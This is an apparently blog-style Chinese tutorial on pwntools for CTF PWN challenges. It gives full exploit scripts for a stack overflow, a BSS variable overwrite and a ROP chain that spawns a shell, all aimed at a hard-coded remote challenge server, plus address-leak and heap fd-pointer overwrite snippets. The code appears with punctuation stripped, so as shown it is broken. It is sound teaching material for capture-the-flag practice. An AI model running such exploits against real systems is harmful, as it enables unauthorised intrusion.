
Python pwntools实战从零攻破CTF PWN题的三层境界在CTF竞赛的PWN领域中真正的高手往往不是那些能背诵各种漏洞原理的理论派而是能够将工具用到极致的高效解题者。就像木匠不必精通冶金学也能用好一把瑞士军刀掌握pwntools这个黑客瑞士军刀的选手往往能在赛场上快人一步。本文将带你用纯实战的方式从level0到level2三个典型题目体验如何用pwntools将PWN题脚本化处理。1. 环境配置与工具认知工欲善其事必先利其器。在开始实战前我们需要配置好开发环境# 推荐环境配置 sudo apt update sudo apt install -y python3-pip git libssl-dev pip install pwntools --upgrade git clone https://github.com/Gallopsled/pwntools-tutorialpwntools的核心组件可以概括为以下几个模块模块名称主要功能典型应用场景tubes进程/网络通信remote/local进程交互elfELF文件分析获取符号地址/plt/got信息asm汇编编译/反汇编shellcode生成util数据格式处理打包/解包地址gdb调试集成自动化调试流程特别提醒初学者注意版本兼容性问题提示使用pwn version检查pwntools版本推荐4.5.0以上。旧版API如process(./bin)在新版应写为process([./bin])2. level0栈溢出基础实战这个32位程序存在明显的栈溢出漏洞我们通过五个步骤完成攻击信息收集阶段elf context.binary ELF(./level0) io remote(111.200.241.244, 54800)漏洞定位# 使用cyclic生成测试pattern $ cyclic 200 aaaabaaacaaadaaaeaaaf...偏移计算# 在gdb中运行后查看崩溃时EIP值 eip_value 0x6161616c # 假设崩溃时EIP值为这个 offset cyclic_find(eip_value) # 返回偏移量利用链构造callsystem_addr elf.symbols.callsystem payload flat({ offset: callsystem_addr })完整攻击脚本from pwn import * context(archi386, oslinux, log_leveldebug) elf context.binary ELF(./level0) io remote(111.200.241.244, 54800) offset 0x88 4 # 32位程序中ebp占4字节 callsystem_addr elf.symbols.callsystem payload flat( bA * offset, callsystem_addr ) io.sendlineafter(bHello World, payload) io.interactive()关键技巧在于flat()函数的使用它能自动处理地址打包和对齐问题比手动拼接payload更可靠。当遇到ASLR保护时可以添加elf.address重定位基址leak_addr u64(io.recv(6).ljust(8, b\x00)) elf.address leak_addr - 0x1234 # 根据泄漏值计算基址 system elf.sym.system3. level1BSS段溢出实战这道题展示了非栈区域的溢出利用主要分为四个关键步骤二进制分析elf ELF(./level1) read_plt elf.plt.read bss_addr elf.bss()内存布局确认.bss section layout: 0x601060: unk_601068 (user input) 0x601068: dword_60106C (target variable)精确覆盖计算payload flat( bA*4, # 覆盖unk_601068到dword_60106C的4字节间隙 p64(0xdeadbeef) # 目标数值 )完整利用脚本from pwn import * context.update(archamd64, oslinux) io remote(111.200.241.244, 65238) elf ELF(./level1) magic_value 1853186401 payload flat( bA*4, p64(magic_value) ) io.sendlineafter(bPlease input your name:, payload) print(io.recvall())当处理不同架构时注意地址打包方式的差异架构打包函数示例32位p32p32(0x8048000)64位p64p64(0x7ffff7dd0000)ARMpp(0x105f4, endianlittle)4. level2ROP技术实战这道64位程序开启了NX保护我们需要构造ROP链。pwntools的ROP模块让这个过程变得简单自动化ROP链构建rop ROP(elf) rop.call(system, [next(elf.search(b/bin/sh))])偏移计算与payload构造offset 0x88 8 # 64位程序中rbp占8字节 payload flat( bA * offset, rop.chain() )完整攻击脚本from pwn import * context.update(archamd64, oslinux, log_levelinfo) elf ELF(./level2) io remote(111.200.241.244, 51837) rop ROP(elf) rop.system(next(elf.search(b/bin/sh))) offset 0x88 8 payload flat( {offset: rop.chain()} ) io.sendlineafter(bInput:, payload) io.interactive()当遇到复杂情况时可以组合多个gadgetrop ROP(elf) rop.raw(bA*offset) # 填充缓冲区 rop.call(puts, [elf.got.puts]) # 泄漏地址 rop.call(read, [0, elf.bss(), 8]) # 读入新数据 rop.call(system, [elf.bss()]) # 执行5. 高级技巧与调试方法真正高效的PWN选手都掌握着这些实战技巧自动化调试gdb.attach(io, break *vulnerable_function42 continue )多架构支持context.update(archarm, oslinux, endianlittle, bits32)Payload生成策略对比方法优点缺点手动构造精确控制每个字节容易出错维护成本高pwntools辅助自动处理对齐和打包某些特殊场景不够灵活ROP构建器自动化gadget搜索可能生成冗余指令常见错误处理try: io.sendline(payload) io.recv(timeout1) except EOFError: print(程序崩溃检查payload长度)在实战中我习惯使用这样的调试流程先用context(log_leveldebug)查看原始通信对关键函数下硬件断点gdb.attach(io, break *main)使用cyclic(200)生成测试pattern定位溢出点逐步构建payload每次测试确认效果记住好的PWN选手不是靠运气而是靠可重复的标准化流程。就像我去年在DEF CON决赛中遇到的题目看似复杂的堆题其实只需要组合几个基本技巧# 典型堆利用流程 alloc(0x80) # chunk A free(A) edit(A, p64(magic)) # 修改fd指针 alloc(0x80) # 得到A alloc(0x80) # 得到magic地址当你在凌晨三点的CTF赛场上能稳定复现这种操作流程才是真正的实力体现。